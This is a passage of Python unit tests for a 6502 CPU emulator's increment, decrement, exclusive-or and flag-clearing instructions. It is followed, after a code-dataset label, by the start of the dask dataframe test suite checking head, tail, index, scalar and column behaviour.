mpu.memory[0x0000] = 0x58 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0, mpu.p & mpu.INTERRUPT) # CLV def test_clv_clears_overflow_flag(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW # $0000 CLV mpu.memory[0x0000] = 0xB8 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0, mpu.p & mpu.OVERFLOW) # DEC Absolute def test_dec_abs_decrements_memory(self): mpu = self._make_mpu() # $0000 DEC 0xABCD self._write(mpu.memory, 0x0000, (0xCE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x10 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x0F, mpu.memory[0xABCD]) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dec_abs_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() # $0000 DEC 0xABCD self._write(mpu.memory, 0x0000, (0xCE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.memory[0xABCD]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_dec_abs_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() # $0000 DEC 0xABCD self._write(mpu.memory, 0x0000, (0xCE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) # DEC Zero Page def test_dec_zp_decrements_memory(self): mpu = self._make_mpu() # $0000 DEC 0x0010 self._write(mpu.memory, 0x0000, (0xC6, 0x10)) mpu.memory[0x0010] = 0x10 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x0F, mpu.memory[0x0010]) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dec_zp_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() # $0000 DEC 0x0010 self._write(mpu.memory, 0x0000, (0xC6, 0x10)) mpu.memory[0x0010] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.memory[0x0010]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_dec_zp_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() # $0000 DEC 0x0010 self._write(mpu.memory, 0x0000, (0xC6, 0x10)) mpu.memory[0x0010] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) # DEC Absolute, X-Indexed def test_dec_abs_x_decrements_memory(self): mpu = self._make_mpu() # $0000 DEC 0xABCD,X self._write(mpu.memory, 0x0000, (0xDE, 0xCD, 0xAB)) mpu.x = 0x03 mpu.memory[0xABCD + mpu.x] = 0x10 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x0F, mpu.memory[0xABCD + mpu.x]) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dec_abs_x_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() # $0000 DEC 0xABCD,X self._write(mpu.memory, 0x0000, (0xDE, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_dec_abs_x_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() # $0000 DEC 0xABCD,X self._write(mpu.memory, 0x0000, (0xDE, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) # DEC Zero Page, X-Indexed def test_dec_zp_x_decrements_memory(self): mpu = self._make_mpu() # $0000 DEC 0x0010,X self._write(mpu.memory, 0x0000, (0xD6, 0x10)) mpu.x = 0x03 mpu.memory[0x0010 + mpu.x] = 0x10 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x0F, mpu.memory[0x0010 + mpu.x]) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dec_zp_x_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() # $0000 DEC 0x0010,X self._write(mpu.memory, 0x0000, (0xD6, 0x10)) mpu.x = 0x03 mpu.memory[0x0010 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.memory[0x0010 + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_dec_zp_x_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() # $0000 DEC 0x0010,X self._write(mpu.memory, 0x0000, (0xD6, 0x10)) mpu.x = 0x03 mpu.memory[0x0010 + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) # DEX def test_dex_decrements_x(self): mpu = self._make_mpu() mpu.x = 0x10 # $0000 DEX mpu.memory[0x0000] = 0xCA mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x0F, mpu.x) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dex_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() mpu.x = 0x00 # $0000 DEX mpu.memory[0x0000] = 0xCA mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0xFF, mpu.x) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dex_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() mpu.x = 0x01 # $0000 DEX mpu.memory[0x0000] = 0xCA mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.x) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) # DEY def test_dey_decrements_y(self): mpu = self._make_mpu() mpu.y = 0x10 # $0000 DEY mpu.memory[0x0000] = 0x88 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x0F, mpu.y) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_dey_below_00_rolls_over_and_sets_negative_flag(self): mpu = self._make_mpu() mpu.y = 0x00 # $0000 DEY mpu.memory[0x0000] = 0x88 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0xFF, mpu.y) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_dey_sets_zero_flag_when_decrementing_to_zero(self): mpu = self._make_mpu() mpu.y = 0x01 # $0000 DEY mpu.memory[0x0000] = 0x88 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.y) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # EOR Absolute def test_eor_absolute_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF self._write(mpu.memory, 0x0000, (0x4D, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_absolute_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 self._write(mpu.memory, 0x0000, (0x4D, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Zero Page def test_eor_zp_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF self._write(mpu.memory, 0x0000, (0x45, 0x10)) mpu.memory[0x0010] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0x0010]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_zp_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 self._write(mpu.memory, 0x0000, (0x45, 0x10)) mpu.memory[0x0010] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0x0010]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Immediate def test_eor_immediate_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF self._write(mpu.memory, 0x0000, (0x49, 0xFF)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_immediate_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 self._write(mpu.memory, 0x0000, (0x49, 0xFF)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Absolute, X-Indexed def test_eor_abs_x_indexed_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x5D, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_abs_x_indexed_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x5D, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Absolute, Y-Indexed def test_eor_abs_y_indexed_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 self._write(mpu.memory, 0x0000, (0x59, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.y]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_abs_y_indexed_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.y = 0x03 self._write(mpu.memory, 0x0000, (0x59, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.y]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Indirect, Indexed (X) def test_eor_ind_indexed_x_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x41, 0x10)) # => EOR ($0010,X) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) # => Vector to $ABCD mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_ind_indexed_x_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x41, 0x10)) # => EOR ($0010,X) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) # => Vector to $ABCD mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Indexed, Indirect (Y) def test_eor_indexed_ind_y_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 self._write(mpu.memory, 0x0000, (0x51, 0x10)) # => EOR ($0010),Y self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) # => Vector to $ABCD mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.y]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_indexed_ind_y_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.y = 0x03 self._write(mpu.memory, 0x0000, (0x51, 0x10)) # => EOR ($0010),Y self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) # => Vector to $ABCD mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0xABCD + mpu.y]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # EOR Zero Page, X-Indexed def test_eor_zp_x_indexed_flips_bits_over_setting_z_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x55, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0xFF, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_eor_zp_x_indexed_flips_bits_over_setting_n_flag(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 self._write(mpu.memory, 0x0000, (0x55, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(0xFF, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # INC Absolute def test_inc_abs_increments_memory(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xEE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x09 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x0A, mpu.memory[0xABCD]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_abs_increments_memory_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xEE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_abs_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xEE, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x7F mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.memory[0xABCD]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # INC Zero Page def test_inc_zp_increments_memory(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xE6, 0x10)) mpu.memory[0x0010] = 0x09 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x0A, mpu.memory[0x0010]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_zp_increments_memory_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xE6, 0x10)) mpu.memory[0x0010] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_zp_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xE6, 0x10)) mpu.memory[0x0010] = 0x7F mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.memory[0x0010]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # INC Absolute, X-Indexed def test_inc_abs_x_increments_memory(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xFE, 0xCD, 0xAB)) mpu.x = 0x03 mpu.memory[0xABCD + mpu.x] = 0x09 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x0A, mpu.memory[0xABCD + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_abs_x_increments_memory_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xFE, 0xCD, 0xAB)) mpu.x = 0x03 mpu.memory[0xABCD + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_abs_x_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xFE, 0xCD, 0xAB)) mpu.x = 0x03 mpu.memory[0xABCD + mpu.x] = 0x7F mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.memory[0xABCD + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # INC Zero Page, X-Indexed def test_inc_zp_x_increments_memory(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xF6, 0x10)) mpu.x = 0x03 mpu.memory[0x0010 + mpu.x] = 0x09 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x0A, mpu.memory[0x0010 + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_zp_x_increments_memory_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xF6, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inc_zp_x_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() self._write(mpu.memory, 0x0000, (0xF6, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x7F mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.memory[0x0010 + mpu.x]) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # INX def test_inx_increments_x(self): mpu = self._make_mpu() mpu.x = 0x09 mpu.memory[0x0000] = 0xE8 # => INX mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x0A, mpu.x) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_inx_above_FF_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() mpu.x = 0xFF mpu.memory[0x0000] = 0xE8 # => INX mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.x) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_inx_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() mpu.x = 0x7f mpu.memory[0x0000] = 0xE8 # => INX mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x80, mpu.x) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # INY def test_iny_increments_y(self): mpu = self._make_mpu() mpu.y = 0x09 mpu.memory[0x0000] = 0xC8 # => INY mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x0A, mpu.y) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_iny_above_FF_rolls_over_and_sets_zero_flag(self): mpu = self._make_mpu() mpu.y = 0xFF mpu.memory[0x0000] = 0xC8 # => INY mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.y) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_iny_sets_negative_flag_when_incrementing_above_7F(self): mpu = self._make_mpu() mpu.y = 0x7f mpu.memory[0x0000] = 0xC8 # => INY mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x80, mpu.y) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) # JMP Absolute def
codeparrot/github-code-clean
import contextlib import warnings import weakref import xml.etree.ElementTree from itertools import product from operator import add import numpy as np import pandas as pd import pytest from pandas.io.formats import format as pandas_format import dask import dask.array as da import dask.dataframe as dd import dask.dataframe.groupby from dask.base import compute_as_if_collection from dask.blockwise import fuse_roots from dask.dataframe import _compat, methods from dask.dataframe._compat import ( PANDAS_GT_110, PANDAS_GT_120, PANDAS_GT_140, PANDAS_GT_150, tm, ) from dask.dataframe.core import ( Scalar, _concat, _map_freq_to_period_start, aca, has_parallel_type, is_broadcastable, repartition_divisions, total_mem_usage, ) from dask.dataframe.utils import assert_eq, assert_max_deps, make_meta from dask.datasets import timeseries from dask.utils import M, is_dataframe_like, is_series_like, put_lines from dask.utils_test import hlg_layer dsk = { ("x", 0): pd.DataFrame({"a": [1, 2, 3], "b": [4, 5, 6]}, index=[0, 1, 3]), ("x", 1): pd.DataFrame({"a": [4, 5, 6], "b": [3, 2, 1]}, index=[5, 6, 8]), ("x", 2): pd.DataFrame({"a": [7, 8, 9], "b": [0, 0, 0]}, index=[9, 9, 9]), } meta = make_meta( {"a": "i8", "b": "i8"}, index=pd.Index([], "i8"), parent_meta=pd.DataFrame() ) d = dd.DataFrame(dsk, "x", meta, [0, 5, 9, 9]) full = d.compute() CHECK_FREQ = {} if dd._compat.PANDAS_GT_110: CHECK_FREQ["check_freq"] = False def test_dataframe_doc(): doc = d.add.__doc__ disclaimer = "Some inconsistencies with the Dask version may exist." assert disclaimer in doc def test_dataframe_doc_from_non_pandas(): class Foo: def foo(self): """This is a new docstring that I just made up Parameters: ---------- None """ d._bind_operator_method("foo", Foo.foo, original=Foo) try: doc = d.foo.__doc__ disclaimer = "Some inconsistencies with the Dask version may exist." assert disclaimer in doc assert "new docstring that I just made up" in doc finally: # make sure to clean up this alteration of the dd.DataFrame class del dd.DataFrame.foo def test_Dataframe(): expected = pd.Series( [2, 3, 4, 5, 6, 7, 8, 9, 10], index=[0, 1, 3, 5, 6, 8, 9, 9, 9], name="a" ) assert_eq(d["a"] + 1, expected) tm.assert_index_equal(d.columns, pd.Index(["a", "b"])) assert_eq(d[d["b"] > 2], full[full["b"] > 2]) assert_eq(d[["a", "b"]], full[["a", "b"]]) assert_eq(d.a, full.a) assert d.b.mean().compute() == full.b.mean() assert np.allclose(d.b.var().compute(), full.b.var()) assert np.allclose(d.b.std().compute(), full.b.std()) assert d.index._name == d.index._name # this is deterministic assert repr(d) def test_head_tail(): assert_eq(d.head(2), full.head(2)) assert_eq(d.head(3), full.head(3)) assert_eq(d.head(2), dsk[("x", 0)].head(2)) assert_eq(d["a"].head(2), full["a"].head(2)) assert_eq(d["a"].head(3), full["a"].head(3)) assert_eq(d["a"].head(2), dsk[("x", 0)]["a"].head(2)) assert sorted(d.head(2, compute=False).dask) == sorted( d.head(2, compute=False).dask ) assert sorted(d.head(2, compute=False).dask) != sorted( d.head(3, compute=False).dask ) assert_eq(d.tail(2), full.tail(2)) assert_eq(d.tail(3), full.tail(3)) assert_eq(d.tail(2), dsk[("x", 2)].tail(2)) assert_eq(d["a"].tail(2), full["a"].tail(2)) assert_eq(d["a"].tail(3), full["a"].tail(3)) assert_eq(d["a"].tail(2), dsk[("x", 2)]["a"].tail(2)) assert sorted(d.tail(2, compute=False).dask) == sorted( d.tail(2, compute=False).dask ) assert sorted(d.tail(2, compute=False).dask) != sorted( d.tail(3, compute=False).dask ) def test_head_npartitions(): assert_eq(d.head(5, npartitions=2), full.head(5)) assert_eq(d.head(5, npartitions=2, compute=False), full.head(5)) assert_eq(d.head(5, npartitions=-1), full.head(5)) assert_eq(d.head(7, npartitions=-1), full.head(7)) assert_eq(d.head(2, npartitions=-1), full.head(2)) with pytest.raises(ValueError): d.head(2, npartitions=5) def test_head_npartitions_warn(): match = "5 elements requested, only 3 elements" with pytest.warns(UserWarning, match=match): d.head(5) match = "Insufficient elements" with pytest.warns(UserWarning, match=match): d.head(100) with pytest.warns(UserWarning, match=match): d.head(7) with pytest.warns(UserWarning, match=match): d.head(7, npartitions=2) # No warn if all partitions are inspected for n in [3, -1]: with pytest.warns(None) as rec: d.head(10, npartitions=n) assert not rec # With default args, this means that a 1 partition dataframe won't warn d2 = dd.from_pandas(pd.DataFrame({"x": [1, 2, 3]}), npartitions=1) with pytest.warns(None) as rec: d2.head() assert not rec def test_index_head(): assert_eq(d.index.head(2), full.index[:2]) assert_eq(d.index.head(3), full.index[:3]) def test_Series(): assert isinstance(d.a, dd.Series) assert isinstance(d.a + 1, dd.Series) assert_eq((d + 1), full + 1) def test_Index(): for case in [ pd.DataFrame(np.random.randn(10, 5), index=list("abcdefghij")), pd.DataFrame( np.random.randn(10, 5), index=pd.date_range("2011-01-01", freq="D", periods=10), ), ]: ddf = dd.from_pandas(case, 3) assert_eq(ddf.index, case.index) pytest.raises(AttributeError, lambda: ddf.index.index) def test_axes(): pdf = pd.DataFrame({"col1": [1, 2], "col2": [3, 4]}) df = dd.from_pandas(pdf, npartitions=2) assert len(df.axes) == len(pdf.axes) assert all(assert_eq(d, p) for d, p in zip(df.axes, pdf.axes)) def test_series_axes(): ps = pd.Series(["abcde"]) ds = dd.from_pandas(ps, npartitions=2) assert len(ds.axes) == len(ps.axes) assert all(assert_eq(d, p) for d, p in zip(ds.axes, ps.axes)) def test_Scalar(): val = np.int64(1) s = Scalar({("a", 0): val}, "a", "i8") assert hasattr(s, "dtype") assert "dtype" in dir(s) assert_eq(s, val) assert repr(s) == "dd.Scalar<a, dtype=int64>" val = pd.Timestamp("2001-01-01") s = Scalar({("a", 0): val}, "a", val) assert not hasattr(s, "dtype") assert "dtype" not in dir(s) assert_eq(s, val) assert repr(s) == "dd.Scalar<a, type=Timestamp>" def test_scalar_raises(): val = np.int64(1) s = Scalar({("a", 0): val}, "a", "i8") msg = "cannot be converted to a boolean value" with pytest.raises(TypeError, match=msg): bool(s) def test_attributes(): assert "a" in dir(d) assert "foo" not in dir(d) pytest.raises(AttributeError, lambda: d.foo) df = dd.from_pandas(pd.DataFrame({"a b c": [1, 2, 3]}), npartitions=2) assert "a b c" not in dir(df) df = dd.from_pandas(pd.DataFrame({"a": [1, 2], 5: [1, 2]}), npartitions=2) assert "a" in dir(df) assert 5 not in dir(df) df = dd.from_pandas(_compat.makeTimeDataFrame(), npartitions=3) pytest.raises(AttributeError, lambda: df.foo) def test_column_names(): tm.assert_index_equal(d.columns, pd.Index(["a", "b"])) tm.assert_index_equal(d[["b", "a"]].columns, pd.Index(["b", "a"])) assert d["a"].name == "a" assert (d["a"] + 1).name == "a" assert (d["a"] + d["b"]).name is None def test_columns_named_divisions_and_meta(): # https://github.com/dask/dask/issues/7599 df = pd.DataFrame( {"_meta": [1, 2, 3, 4], "divisions": ["a", "b", "c", "d"]}, index=[0, 1, 3, 5], ) ddf = dd.from_pandas(df, 2) assert ddf.divisions == (0, 3, 5) 